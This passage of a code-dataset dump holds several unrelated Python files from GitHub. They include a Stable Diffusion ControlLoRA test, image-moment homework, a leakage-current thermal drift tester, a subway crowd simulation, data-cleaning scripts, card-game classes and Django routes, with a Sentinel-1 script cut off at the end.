StableDiffusionControlLoRAPipeline\n\n\ndevice = 'cuda' if torch.cuda.is_available() else 'cpu'\nprint('Device:', device)\n\n\ndef hook_control_lora(self: ControlLoRAContainer, inputs, results):\n print('ControlLoRa is being called.')\n\n # processor override the __call__ function,so it would not trigger\n # `forward_hook`` after `forward`,\n # so we call it in the control_lora forward hook.\n hook_control_processor(self.processor_layers[0][0], None, None)\n\n\ndef hook_control_processor(self, inputs, results):\n print(f'{type(self).__name__} is being called')\n\n\ncontrol_lora = ControlLoRAContainer(control_num_processors=(4, 4, 4, 2), encoder_only=True)\ncontrol_lora.register_forward_hook(hook_control_lora)\ncontrol_lora.to_json_file('tmp/base.json')\ncontrol_lora.save_pretrained('tmp/control_lora')\ncontrol_lora.save_pretrained('tmp/control_lora')\nStableDiffusionControlLoRAPipeline.from_pretrained(\n 'runwayml/stable-diffusion-v1-5',\n control_lora_pretrained_model_name_or_path='tmp/control_lora'\n)\npipeline = StableDiffusionControlLoRAPipeline.from_pretrained(\n 'runwayml/stable-diffusion-v1-5',\n control_lora=control_lora,\n torch_dtype=torch.float16\n)\npipeline.scheduler = DPMSolverMultistepScheduler.from_config(pipeline.scheduler.config)\npipeline = pipeline.to(device)\nif is_xformers_available():\n pipeline.set_use_memory_efficient_attention_xformers(True)\ngenerator = torch.Generator(device=device).manual_seed(233)\nimages = []\nwith torch.no_grad():\n guide = Image.new('RGB', (512,512), (0,0,0))\n guide = [[guide], [guide]]\n images = pipeline(\n [\"Potrait of 1 beautiful girl, 8 k, ray tracing\", \"Potrait of 3 beautiful girls, 8 k, ray tracing\"], \n num_inference_steps=30, \n generator=generator, \n control_image=guide).images\n for i, img in enumerate(images):\n img.save(f'tmp/{i}.png')\n","repo_name":"across-stars/controllora_forked","sub_path":"test_arch.py","file_name":"test_arch.py","file_ext":"py","file_size_in_byte":2183,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"26707711710","text":"import matplotlib.pyplot as plt\nimport matplotlib.mlab as mlab\nimport numpy as np\nimport scipy.ndimage\nimport scipy.stats\n\n\n# ----------------------------------------------- #\n\n\n# Part 1 #\ndef similitudeMoments(img):\n img = img.astype(float)\n img /= np.max(img)\n\n mag = np.sum(img)\n\n x = np.zeros_like(img)\n y = np.zeros_like(img)\n\n for m in range(x.shape[0]):\n y[m,:] = float(m)\n for n in range(x.shape[1]):\n x[:,n] = float(n)\n\n xbar = np.sum(x*img) / mag\n ybar = np.sum(y*img) / mag\n\n def eta(img,i,j):\n e = np.sum( (x-xbar)**float(i) * (y-ybar)**float(j) * img ) / mag**(float(i+j)/2.+1.)\n return e\n\n\n return [eta(img,0,2), eta(img,0,3), eta(img,1,1), eta(img,1,2), eta(img,2,0), eta(img,2,1), eta(img,3,0)]\n\n\nfor n in range(1,5):\n filename = \"\".join( (\"boxIm\",n.__str__()) )\n I = plt.imread(filename+\".bmp\")\n print( similitudeMoments(I) )\n\n\n\n\n# Part 2 #\nX = np.loadtxt(\"eigdata.txt\")\nplt.figure()\nplt.plot(X[:,0], X[:,1], \"b.\")\nplt.gca().set_aspect('equal')\nplt.savefig(\"eigdata.png\")\n\nm = np.mean(X, axis=0)\nY = X.copy()\nY[:,0] -= m[0]\nY[:,1] -= m[1]\nplt.figure()\nplt.plot(Y[:,0], Y[:,1], \"r.\")\nplt.gca().set_aspect('equal')\nplt.savefig(\"eigdata_meansub.png\")\n\n\n\n\n# Part 3 #\nK = np.cov(Y.transpose())\n[w,v] = np.linalg.eig(K)\n\nt0 = np.arctan2(v[1,0], v[0,0])\n\ndef plotEllipse(w,t0,C, f):\n a = np.sqrt(w[0] * C)\n b = np.sqrt(w[1] * C)\n\n env = []\n for t in np.linspace( 0., 2.*np.pi, 128 ):\n x1 = a * np.cos(t)\n y1 = b * np.sin(t)\n x = x1 * np.cos(t0) - y1 * np.sin(t0)\n y = x1 * np.sin(t0) + y1 * np.cos(t0)\n env.append( [x,y] )\n\n env = np.array(env)\n f.plot( env[:,0], env[:,1], \"k\" )\n\n\nplotEllipse(w, t0, 3.**2, plt)\nplt.savefig(\"eigdata_ellipse.png\")\n\n\n\n\n# Part 4 #\nR = Y.copy()\nfor i in range(R.shape[0]):\n x1 = R[i,0]\n y1 = R[i,1]\n x = x1 * np.cos(t0) - y1 * np.sin(t0)\n y = x1 * np.sin(t0) + y1 * np.cos(t0)\n R[i,0] = x\n R[i,1] = y\n \nplt.figure()\nplt.plot(R[:,0], Y[:,1], \".r\")\nplt.gca().set_aspect('equal')\nplt.savefig(\"eigdata_rotated.png\")\n\n\n\n\n\n# Part 5 #\n(mu,sigma) = scipy.stats.norm.fit(R[:,1])\nplt.figure()\nn,bins,patches = plt.hist(R[:,1], density=True)\nx = np.linspace( bins[0], bins[-1], 128 )\ng = scipy.stats.norm(mu, sigma).pdf(x)\nplt.plot(x, g, \"-k\")\n\nplt.savefig(\"eigdata_hist.png\")\n\n \n","repo_name":"mycliu10/cs-ds-practices","sub_path":"OSU/ComputerVision/hw04/hw04.py","file_name":"hw04.py","file_ext":"py","file_size_in_byte":2355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"16581957127","text":"\"\"\"Class definition for filtering duplicate rows in each dataframe.\"\"\"\nfrom kaishi.core.pipeline_component import PipelineComponent\n\n\nclass FilterDuplicateRowsEachDataframe(PipelineComponent):\n \"\"\"Filter duplicate rows in each dataframe of a tabular dataset.\"\"\"\n\n def __init__(self):\n \"\"\"Initialize new filter component.\"\"\"\n super().__init__()\n self.applies_to_available = True\n\n def __call__(self, dataset):\n \"\"\"Perform the filter operation on a given tabular dataset.\n\n :param dataset: dataset to perform operation on\n :type dataset: :class:`kaishi.tabular.dataset.TabularDataset`\n \"\"\"\n valid_indexes = dataset._get_indexes_with_valid_dataframe()\n targets = list(set(valid_indexes) & set(self.get_target_indexes(dataset)))\n for i in targets:\n dataset.files[i].df.drop_duplicates(inplace=True)\n","repo_name":"kungfuai/kaishi","sub_path":"kaishi/tabular/filters/duplicate_rows_each_dataframe.py","file_name":"duplicate_rows_each_dataframe.py","file_ext":"py","file_size_in_byte":885,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"37"} +{"seq_id":"5954711246","text":"import random as rnd\nimport constant as c\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom collections import defaultdict\nfrom time import sleep\n\nfrom agents import AGENT\nfrom restCell import RESTCELL\nfrom metroGenerator import METROGENERATOR\nfrom plotManager import PLOTMANAGER\n\n\nclass MODEL() :\n def __init__(self,n,m) -> None:\n self.n = n\n self.m = m\n\n self.metroGen = METROGENERATOR(n,m)\n\n self.agents = []\n self.restCells = []\n self.comfort = np.zeros((self.n,self.m))\n self.walls = np.zeros((self.n,self.m),dtype=int)\n self.walls = self.metroGen.generateBaseWalls(self.n,self.m)\n self.agent_allowed_to_stand_up = []\n\n self.verbose = True\n self.plotManager = PLOTMANAGER()\n \n def newStep(self):\n self.computeComfortMatrix()\n \n self.findGoalForEachAgent()\n\n self.findNewPosForEachAgent()\n\n self.solveConflictAndMoveAgent()\n\n if self.verbose:\n self.log()\n\n \n def log(self) -> None:\n print()\n print(\"Comfort Matrix\")\n print(self.comfort)\n\n print(\"Agent Goal\")\n for agent in self.agents:\n print(agent.goal)\n\n print(\"Agent Next Moves\")\n for agent in self.agents:\n print(agent.newPos)\n \n print(\"New agent position\")\n for agent in self.agents:\n print(agent.pos)\n print()\n\n \n def computeComfortMatrix(self) -> None:\n self.comfort = np.zeros((self.n,self.m))\n #if it's an agent, we lower the comfort :\n for agent in self.agents:\n for i in [-1,0,1] :\n for j in [-1,0,1]:\n moore = (agent.pos[0]+i, agent.pos[1]+j)\n if self.isValidPosition(moore) :\n self.comfort[moore]+= c.MalusAgent[1+i,1+j]\n \n #if it's a restcell, we add the value of its comfort: \n for restCell in self.restCells:\n #we add K_r to the comfort matrix \n self.comfort[restCell.pos]+=restCell.K_r\n \n def findGoalForEachAgent(self) -> None :\n for agent in self.agents:\n agent.findGoal(self.comfort)\n \n def findNewPosForEachAgent(self) -> None:\n\n self.conflict = defaultdict(lambda : [])\n for agent in self.agents:\n pos = agent.findNewPos()\n self.conflict[pos].append(agent)\n \n def isValidPosition(self,pos : tuple) -> bool:\n # check if position pos is in the range of our grid\n return ((0<=pos[0] None :\n #For each conflict (elements of self.conflict that have a lenth > 1)\n # Solve them by choosing a random agent\n # and the revert the newPos of the other agents to the current position\n for pos,agents in self.conflict.items():\n randomIndex = rnd.randrange(0,len(agents))\n for i,agent in enumerate(agents):\n if i == randomIndex :\n agent.pos = agent.newPos\n \n def totalComfort(self) :\n return sum(self.comfort[agent.pos] for agent in self.agents)\n\n def plot(self):\n #étape finale : faire une fonction qui plot ce à quoi ressemble notre wagon à la fin \n #pour l'instant le wagon est vide, il faut designer le metroGenerator\n end_disposition=np.zeros((self.n,self.m)) #à remplacer par la metromap définie dans metroGenerator \n for agent in self.agents:\n end_disposition[agent.pos]=2\n\n fig = plt.figure(figsize=(8,6))\n #plt.imshow(X,cmap=\"inferno\")\n plt.title(\"Plot 2D array of our metro\")\n plt.colorbar()\n plt.show()\n \n def plot_Nb(self):\n self.plotManager.plotNb(self)\n \n def clear(self):\n self.plotManager.clear()\n\n def play_model(self,t):\n self.plot_Nb()\n for i in range (0,t):\n self.clear() \n self.newStep()\n self.clear() \n self.plot_Nb()\n sleep(1)\n \n\nif __name__ == \"__main__\":\n mymodel = MODEL(3,4)\n mymodel.agents = [AGENT((0,0),mymodel),AGENT((1,1),mymodel)]\n mymodel.restCells = [RESTCELL((1,0),15)]\n \n mymodel.newStep()\n mymodel.newStep()\n\n \n","repo_name":"drblobfish/subway-crowd-cellular-automata","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":4312,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"38391645852","text":"#!/usr/bin/env python3\n# LDC_Commands.py\n\nimport os\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport time\nfrom tkinter import Tk\nfrom tkinter.filedialog import askdirectory\nfrom datetime import datetime\n\n\nclass LDC:\n \"\"\"\n Sets up the commands to control the Leakage Detection Circuit board alongside an instrument with SCPI communication\n \"\"\"\n\n def __init__(self):\n \"\"\"\n Instantiates the class, all necessary variables and modules\n \"\"\"\n import pydrs\n from SCPI_Commands import SCPI\n\n self.drs = pydrs.SerialDRS()\n port_num = int(input(\"Insert the number of the COM port: \"))\n com_port = 'COM' + str(port_num)\n comunic_instrumentip = input(\"Insert instrument ip: \")\n self.drs.connect(com_port) # PyDRS Communication with IIB\n instrument = 'TCPIP::' + str(comunic_instrumentip) + '::inst0::INSTR'\n self.scpi = SCPI(instrument)\n self.frequency = 10\n self.period = 1 / self.frequency\n self.mean = 0\n self.maximum = 0\n self.minimum = 0\n self.ppc = 0\n self.mean_error = 0\n self.std_dev = 0\n self.test_time = 0\n self.samples = []\n self.temperature_samples = []\n self.time_samples = []\n self.error = []\n print(\"LDC functions enabled!\")\n\n def thermal_drift_test(self, duration):\n \"\"\"\n Reads the ground leakage current detected with the LDC board\n Reader thermal drift test\n\n :param duration: Duration of the measurement in seconds\n :type duration: int\n\n :return: The measured values for leakage current and thermal drift test\n :rtype: str\n \"\"\"\n self.samples.clear()\n self.time_samples.clear()\n self.error.clear()\n print(\"Acquisition in progress...\\n\")\n z = 0\n for x in range(int(self.frequency * duration)):\n current_value = self.scpi.instrument.query_ascii_values(':MEASure:CURRent:DC? (%s)' % '@1')\n self.temperature_samples.append((self.drs.read_bsmp_variable(52, 'float')))\n self.samples.append((self.drs.read_bsmp_variable(53, 'float'))*1000)\n self.time_samples.append(round(x * self.period, 2))\n self.error.append((current_value[0]*1000) - self.samples[x])\n time.sleep(self.period)\n np_samples = np.array(self.samples)\n np_error = np.array(self.error)\n z = z + 1\n if z == 10:\n print('\\n''\\n', (float(self.time_samples[-1])+0.1), \"s\", '\\n', (float(self.drs.read_bsmp_variable(52, 'float'))), \"°C\")\n z = 0\n self.test_time = datetime.today()\n self.mean = np_samples.mean()\n self.maximum = np_samples.max()\n self.minimum = np_samples.min()\n self.ppc = (np_samples.max() - np_samples.min())\n self.mean_error = abs(np_error.mean())\n self.std_dev = np_samples.std()\n return print(\"Mean: {0:.3f} mA\\n\"\n \"Maximum: {1:.3f} mA\\n\"\n \"Minimum: {2:.3f} mA\\n\"\n \"Peak to peak: {3:.3f} mA\\n\"\n \"Mean Error: {4:.3f} mA\\n\"\n \"Standard Deviation: {5:.3f} mA\\n\".format(self.mean, self.maximum, self.minimum,\n self.ppc, self.mean_error, self.std_dev))\n\n def save_csv_file(self, file_name='THERMAL DRIFT'):\n \"\"\"\n Saves the data of a ground leakage measurement in a csv format file\n :argument file_name: Gives a custom name to the file. Default gives 'Leakage Current'\n\n :return: A string confirming the execution\n :rtype: str\n \"\"\"\n test_name = self.test_time.strftime('%d_%m_%Y-%H_%M_%S')\n name = file_name+'-'+test_name+'.csv'\n data = [['Time'], ['Leakage Current'] , ['Temperature']]\n column0 = data[0]\n column1 = data[1]\n column2 = data[2]\n for row in range(len(self.samples)):\n column0.append(self.time_samples[row])\n column1.append(self.samples[row])\n column2.append(self.temperature_samples[row])\n np.savetxt(name, [p for p in zip(column0, column1, column2)], delimiter=',', fmt='%s')\n return \"CSV current file named '{}' saved successfully!\".format(name)\n\n def plot_graphic(self, graph_name='THERMAL DRIFT'):\n \"\"\"\n Plots the graphic of the ground leakage measurement\n\n :return: Return the matplotlib window with the measurement plot\n \"\"\"\n fig, ax = plt.subplots(1, 1, figsize=(15, 5))\n color='tab:blue'\n ax.locator_params(axis='y', tight=True, nbins=10)\n ax.locator_params(axis='x', tight=True, nbins=25)\n ax.plot(self.time_samples, self.samples)\n plt.xlabel('Time [s]')\n plt.ylabel('Leakage Current [mA]', color=color)\n plt.grid(True)\n ax1 = ax.twinx()\n color = 'tab:red'\n ax1.set_ylabel('Temperature [°C]', color=color)\n ax1.plot(self.time_samples, self.temperature_samples, color=color)\n ax1.locator_params(axis='y', tight=True, nbins=10)\n plt.title(graph_name)\n return plt.show()\n\n def save_graphic(self, graph_name='THERMAL DRIFT'):\n \"\"\"\n Saves a jpg file of the ground leakage graphic\n\n :return: Returns a string confirming the jpg file saving\n :rtype: str\n \"\"\"\n test_name = self.test_time.strftime('%d_%m_%Y-%H_%M_%S')\n name = graph_name+'-'+test_name+'.jpg'\n color = 'tab:blue'\n fig, ax = plt.subplots(1, 1, figsize=(10, 5))\n ax.locator_params(axis='y', tight=True, nbins=10)\n ax.locator_params(axis='x', tight=True, nbins=25)\n ax.plot(self.time_samples, self.samples)\n plt.xlabel('Time [s]')\n plt.ylabel('Leakage Current [mA]', color=color)\n plt.grid(True)\n ax1 = ax.twinx()\n color = 'tab:red'\n ax1.set_ylabel('Temperature [°C]', color=color)\n ax1.plot(self.time_samples, self.temperature_samples, color=color)\n ax1.locator_params(axis='y', tight=True, nbins=10)\n plt.title(graph_name)\n plt.savefig(name)\n plt.close()\n return \"Graphic file named '{}' saved successfully!\".format(name)\n\n def degauss(self):\n self.scpi.disable_output()\n self.drs.reset_interlocks()\n time.sleep(0.3)\n self.drs.reset_interlocks()\n time.sleep(0.15)\n return \"Degaussing process applied!\"\n\n\nif __name__ == '__main__':\n cwd = os.getcwd()\n ldc = LDC()\n read_current = float(input(\"Insert the desired current, in Amperes: \"))\n read_duration = int(input(\"Insert the duration of the ground leakage measurent, in seconds: \"))\n apply_degauss = int(input(\"Apply the degaussing process? 1(yes)/0(No):\"))\n if apply_degauss == 1:\n ldc.degauss()\n elif apply_degauss == 0:\n pass\n ldc.scpi.set_current(read_current)\n time.sleep(0.15)\n ldc.thermal_drift_test(read_duration)\n ldc.scpi.disable_output()\n ldc.plot_graphic()\n answer = int(input(\"Save plot and csv file? 1(yes)/0(No): \"))\n if answer == 1:\n Tk().withdraw()\n path = askdirectory(title='Select Folder')\n ldc_test = 'LDC_Test-'+ldc.test_time.strftime('%d_%m_%Y-%H_%M_%S')\n os.makedirs(os.path.join(path, ldc_test))\n os.chdir(os.path.join(path, ldc_test))\n ldc.save_graphic()\n ldc.save_csv_file()\n print(\"LDC Test files saved {}!\".format(ldc_test))\n os.chdir(cwd)\n exit()\n elif answer == 0:\n exit()\n","repo_name":"cnpem-sei/ldc-sw","sub_path":"LDC Board Test/Temperature_Drift.py","file_name":"Temperature_Drift.py","file_ext":"py","file_size_in_byte":7599,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"7970072859","text":"from app.models import db, Artist\n\n\ndef seed_artists():\n fugal = Artist(\n artistname='Fugal',\n avatar='https://imgproxy.ra.co/_/quality:100/h:180/w:180/rt:fill/gravity:sm/plain//images/profiles/fugal.jpg',\n bio='Berlin-based Korean-American techno artist from Seattle. His style moves in a space of dynamic tension between dense, insistent rhythmics and nuanced emotion. A resident DJ and producer of the singular collective, secondnature.',\n user_id=1\n )\n db.session.add(fugal)\n db.session.commit()\n\n\ndef undo_artists():\n db.session.execute('TRUNCATE artists RESTART IDENTITY CASCADE;')\n db.session.commit()\n","repo_name":"nathanblaz/tunevillage-app","sub_path":"app/seeds/artists.py","file_name":"artists.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"25100108432","text":"import csv\nfrom datetime import datetime\nimport logging\n\n\ndef read_data(file_path):\n ''' read csv file and rows based on header leangth. Return fitting and missformatted data'''\n with open(file_path) as f:\n reader = csv.reader(f, delimiter=',')\n data = []\n missformatted_data = []\n for i, row in enumerate(reader):\n if i == 0:\n header_len = len(row)\n data.append(row)\n missformatted_data.append(row)\n else:\n if len(row) == header_len:\n data.append(row)\n else:\n missformatted_data.append(row)\n return data, missformatted_data\n\n\ndef filter_data(data, col_name, value):\n ''' select rows that has specified collumn value '''\n filtered_data = []\n filtered_data.append(data[0])\n column_id = data[0].index(col_name)\n for row in data[1:]:\n if row[column_id] == value:\n filtered_data.append(row)\n return filtered_data\n\n\ndef join_columns(data, col_name_1, col_name_2, delimiter):\n ''' join values from two columns '''\n col_id_1 = data[0].index(col_name_1)\n col_id_2 = data[0].index(col_name_2)\n new_col = []\n for row in data[1:]:\n joined_val = delimiter.join([str(row[col_id_1]), str(row[col_id_2])])\n new_col.append(joined_val)\n return new_col\n\n\ndef add_column(data, col_name, col_values):\n ''' add new column values to the end of the rows '''\n data = data.copy()\n data[0].append(col_name)\n for row_id in range(len(data) - 1):\n data[row_id + 1].append(col_values[row_id])\n return data\n\n\ndef format_names(data):\n ''' join first and last name '''\n col_name_1 = 'CandidateFirstName'\n col_name_2 = 'CandidateLastName'\n delimiter = ' '\n joined_col_name = 'CandidateName'\n joined_values = join_columns(data, col_name_1, col_name_2, delimiter)\n data = add_column(data, joined_col_name, joined_values)\n return data\n\n\ndef convert_to_iso(data, col_name):\n ''' convert date to iso format, write None if cannot convert '''\n col_id = data[0].index(col_name)\n new_values = []\n for row in data[1:]:\n try:\n new_values.append(datetime.strptime(row[col_id], '%m/%d/%Y').date())\n except Exception as e:\n new_values.append(None)\n return new_values\n\n\ndef format_dates(data):\n ''' converted dates to ISO format and add to data '''\n col_names = ['PeriodBegining', 'PeriodEnding']\n for col_name in col_names:\n converted_values = convert_to_iso(data, col_name)\n new_col_name = col_name + 'Iso'\n data = add_column(data, new_col_name, converted_values)\n return data\n\n\ndef find_col_ids_by_names(header, col_names):\n ''' find column ids in the header '''\n col_ids = [header.index(col_name) for col_name in col_names]\n return col_ids\n\n\ndef select_cols(data, col_names):\n ''' select columns from data'''\n selected_data = []\n col_ids = find_col_ids_by_names(data[0], col_names)\n selected_data.append([data[0][i] for i in col_ids])\n for row in data[1:]:\n selected_data.append([row[i] for i in col_ids])\n return selected_data\n\n\ndef remove_none(data, col_names):\n ''' split data into rows that contain None and those that do not '''\n clean_data = []\n rows_with_none = []\n clean_data.append(data[0])\n rows_with_none.append(data[0])\n col_ids = find_col_ids_by_names(data[0], col_names)\n for row in data[1:]:\n selected_values = [row[i] for i in col_ids]\n if None in selected_values:\n rows_with_none.append(row)\n else:\n clean_data.append(row)\n return clean_data, rows_with_none\n\n\ndef write_to_csv(data, file_name):\n with open(file_name, 'w', newline='') as f:\n writer = csv.writer(f)\n for row in data:\n writer.writerow(row)\n\n\ndef process_data(file_path, output_path, misformatted_output_path):\n ''' read, clean, format ,and save data '''\n data, misformatted = read_data(file_path)\n formatted_data = filter_data(data, 'CandidateOrCommittee', 'COH')\n formatted_data = format_names(formatted_data)\n formatted_data = format_dates(formatted_data)\n clean_data, no_dates_data = remove_none(\n formatted_data, ['PeriodBeginingIso', 'PeriodEndingIso'])\n no_dates_data = select_cols(no_dates_data, data[0])\n misformatted += no_dates_data[1:]\n col_names = ['CandidateName', 'PeriodBeginingIso', 'PeriodEndingIso',\n 'TransactionID', 'TransactionType', 'TransactionAmount']\n selected_data = select_cols(clean_data, col_names)\n\n write_to_csv(selected_data, output_path)\n write_to_csv(misformatted, misformatted_output_path)\n\n\nif __name__ == '__main__':\n file_path = 'data/transactions.csv'\n output_path = 'data/processed_transactions.csv'\n misformatted_output_path = 'data/error.log'\n process_data(file_path, output_path, misformatted_output_path)\n","repo_name":"augzal/technical_task","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4955,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"26692470005","text":"import numpy as np\nimport pandas as pd\nfrom skimage.io import imread\nfrom skimage.transform import resize\n\n###################################################################################################\n# Define Variables¶\n\nimage_shape = (768, 768)\nIMG_CHANNELS = 3\nTARGET_WIDTH = 128\nTARGET_HEIGHT = 128\n\nno_mask = np.zeros(image_shape[0]*image_shape[1], dtype=np.uint8)\n\n###################################################################################################\n# Returns the run-length encoding (RLE) of the input image as a string formatted sequence.\n\ndef rle_encode(img):\n pixels = img.flatten()\n pixels = np.concatenate([[0], pixels, [0]])\n runs = np.where(pixels[1:] != pixels[:-1])[0] + 1\n runs[1::2] -= runs[::2]\n rle = ' '.join(str(x) for x in runs)\n return rle\n\n\n###################################################################################################\n# Decodes the run-length encoded (RLE) mask back into its original 2D binary mask representation.\n\ndef rle_decode(mask_rle, shape=image_shape):\n if pd.isnull(mask_rle):\n img = no_mask\n return img.reshape(shape).T\n s = mask_rle.split()\n starts, lengths = [np.asarray(x, dtype = int) for x in (s[0:][::2], s[1:][::2])]\n\n starts -= 1\n ends = starts + lengths\n img = np.zeros(shape[0] * shape[1], dtype = np.uint8)\n for lo, hi in zip(starts, ends):\n img[lo:hi] = 1\n return img.reshape(shape).T\n\n\n###################################################################################################\n# Reads and preprocesses an image\n\ndef get_image(image_name):\n img = imread('data/train_v2/' + image_name)[:, :, :IMG_CHANNELS]\n img = resize(img, (TARGET_WIDTH, TARGET_HEIGHT), mode = 'constant', preserve_range = True)\n return img\n\n\n###################################################################################################\n# Decodes and preprocesses a run-length encoded (RLE) mask.\n\ndef get_mask(code):\n img = rle_decode(code)\n img = resize(img, (TARGET_WIDTH, TARGET_HEIGHT, 1), mode = 'constant', preserve_range = True)\n return img\n\n###################################################################################################\n# Reads and preprocesses test image\n\ndef get_test_image(image_name):\n img = imread('../input/test_v2/' + image_name)[:, :, :IMG_CHANNELS]\n img = resize(img, (TARGET_WIDTH, TARGET_HEIGHT), mode='constant', preserve_range=True)\n return img\n###################################################################################################\n# Creates a generator that yields batches of preprocessed test images.\n\ndef create_test_generator(precess_batch_size, sub_df):\n while True:\n for k, ix in sub_df.groupby(np.arange(sub_df.shape[0]) // precess_batch_size):\n imgs = []\n for index, row in ix.iterrows():\n original_img = get_test_image(row.ImageId) / 255.0\n imgs.append(original_img)\n\n imgs = np.array(imgs)\n yield imgs\n\n###################################################################################################\n# Creates a generator that yields batches of preprocessed images and corresponding masks.\n\ndef create_image_generator(precess_batch_size, data_df):\n while True:\n for k, group_df in data_df.groupby(np.arange(data_df.shape[0]) // precess_batch_size):\n imgs = []\n labels = []\n for index, row in group_df.iterrows():\n # images\n original_img = get_image(row.ImageId) / 255.0\n # masks\n mask = get_mask(row.EncodedPixels) / 255.0\n\n imgs.append(original_img)\n labels.append(mask)\n\n imgs = np.array(imgs)\n labels = np.array(labels)\n yield imgs, labels","repo_name":"Zooll51/AirbusShipDetection","sub_path":"OtherFile.py","file_name":"OtherFile.py","file_ext":"py","file_size_in_byte":3828,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6480248544","text":"import sys\r\ndata = []\r\nn = 100 # assuming n has a value of 100\r\nd = 0\r\nfor k in range(n): # looping for 0 to n-1\r\n a = len(data)\r\n b = sys.getsizeof(data)\r\n if b != d and a >= 1: # checking condition for finding the length and size in bytes\r\n print(\"length: {0:3d}; Size in bytes: {1:4d}\".format(a-1, d))\r\n d = b # assigning the value of b to d\r\n data.append(None)","repo_name":"Yozi47/Data-Structure-and-Algorithms-Class","sub_path":"Homework 5/R 5.2.py","file_name":"R 5.2.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1844611828","text":"from const import *\nfrom event import *\n\n\n\ndef init(self):\n self.typ = BUFF_DYNAMIC\n self.original = True\n self.visable = False\n self.name = \"烈焰小鬼\"\n self.description = \"战吼: 对最多一个角色造成1点魔法伤害。\"\n\n # 战吼 造成1点魔法伤害\n def warcry(self, old_event):\n \n # 判断是否有角色可以造成伤害\n group = []\n for card in self.system.cards:\n if (card.place == PLACE_FIELD) and (not card.unselectable(card, self.card.player)):\n group.append(card)\n for player in self.system.players:\n if player.alive:\n group.append(player)\n if len(group) <= 0:\n return False\n \n self.system.yell(self.card, 0)\n text = \"请选择至多一个角色来造成1点魔法伤害。\"\n target = self.card.player.select(group, 1, text, 1, True, self)\n \n if len(target) <= 0:\n return False\n \n sublists = [\"fireball_sub_1\", \"fireball_sub_2\", \"fireball_sub_3\"]\n self.system.playeffect(\"fireball\", sublists, self.card, target[0])\n self.system.yell(self.card)\n \n damage = []\n for character in target:\n damage.append(1)\n param = [target, self.card, damage, DAMAGE_MAGICAL]\n event = Event(self.system, EVENT_DAMAGE, self, param)\n event.do()\n\n return True\n self.warcry = warcry\n","repo_name":"zblcm/python-StoneAsh","sub_path":"server/buffs/b0000000000_000.py","file_name":"b0000000000_000.py","file_ext":"py","file_size_in_byte":1456,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"4412305761","text":"\n\n#思索再三我应该抽象出来一个叫CardGroup的概念,然后整个manger可以管理全部的CardGroup\n#一张卡牌,只能属于某一个group\nclass CardGroup():\n card_list = []\n processBar = None\n batch = None\n \"\"\"docstring for Card_manger\"\"\"\n def __init__(self,batch):\n self.batch=batch\n pass\n\n #卡牌会使用joinCardGroup(self,cardGroup:CardGroup)来加入某个卡组\n def join(self,card):\n self.card_list.append(card)\n return self\n\n #从卡组列表当中剔除掉这张卡\n def remove(self,card):\n try:\n self.card_list.remove(card)\n except Exception as e:\n #防御性质的编程\n print(\"CardGroup->remove ERROR: There is no card in card_list\")\n print(e)\n return False\n else:\n return True\n\n #返回所有的牌\n def getCardsList(self):\n return self.card_list\n\n #给这个卡组附加上一个头顶的进度条组件\n def uiAttchProcessBar(self,processBar):\n #试图去取卡组的第一张牌\n prime_card = self.card_list[0]\n #如果卡组的第一个元素是存在的\n if prime_card:\n px = prime_card.x\n py = prime_card.y + 80\n pwidth = 5 #初始的宽度,给5个像素吧\n pheight = 10\n #以上四个参数取自于card的大小,这个以后再说\n color=(255, 0, 0)\n\n processBar.x=px\n processBar.y=py\n processBar.width = pwidth\n processBar.height = pheight\n processBar.color = color\n\n self.processBar=processBar\n\n #返回这个卡组的进度条组件\n def getProcessBar(self):\n return self.processBar\n\n #移除这个卡组的进度条组件\n def removeProcessBar(self):\n self.processBar = None\n","repo_name":"lemonhall/card_game","sub_path":"card_group.py","file_name":"card_group.py","file_ext":"py","file_size_in_byte":1872,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"9628670273","text":"from django.urls import path\n\nfrom myapp.views import alumno_view, aula_view, form_alumno, form_profesor, form_view, index_view, profesor_view\n\napp_name = 'myapp'\n\nurlpatterns = [\n path(\"\", index_view.as_view(), name=\"onlyAuthor\"),\n path(\"formulario/\", form_view.as_view(), name=\"formulario\"),\n path(\"formulario//\", aula_view, name=\"aula\"),\n \n path(\"formAlum/\", form_alumno.as_view(), name=\"formulario_alumno\"),\n path(\"formAlum//\", alumno_view, name=\"alumno\"),\n\n path(\"formProf/\", form_profesor.as_view(), name=\"formulario_profesor\"),\n path(\"formProf//\", profesor_view, name=\"profesor\"),\n\n]","repo_name":"TimRobles/Django-silabuz","sub_path":"mysite/myapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":638,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"69841596268","text":"from datetime import datetime\nfrom eodal.config import get_settings\nfrom eodal.core.sensors import Sentinel1\nfrom eodal.mapper.feature import Feature\nfrom eodal.mapper.filter import Filter\nfrom eodal.mapper.mapper import Mapper, MapperConfigs\nfrom shapely.geometry import box\n\nSettings = get_settings()\nSettings.USE_STAC = True\n\nif __name__ == '__main__':\n\n collection = 'sentinel1-grd'\n # define time period\n time_start = datetime(2020, 7, 1)\n time_end = datetime(2020, 7, 15)\n\n # define input geometry\n bbox = [9.0924, 47.5992, 9.2190, 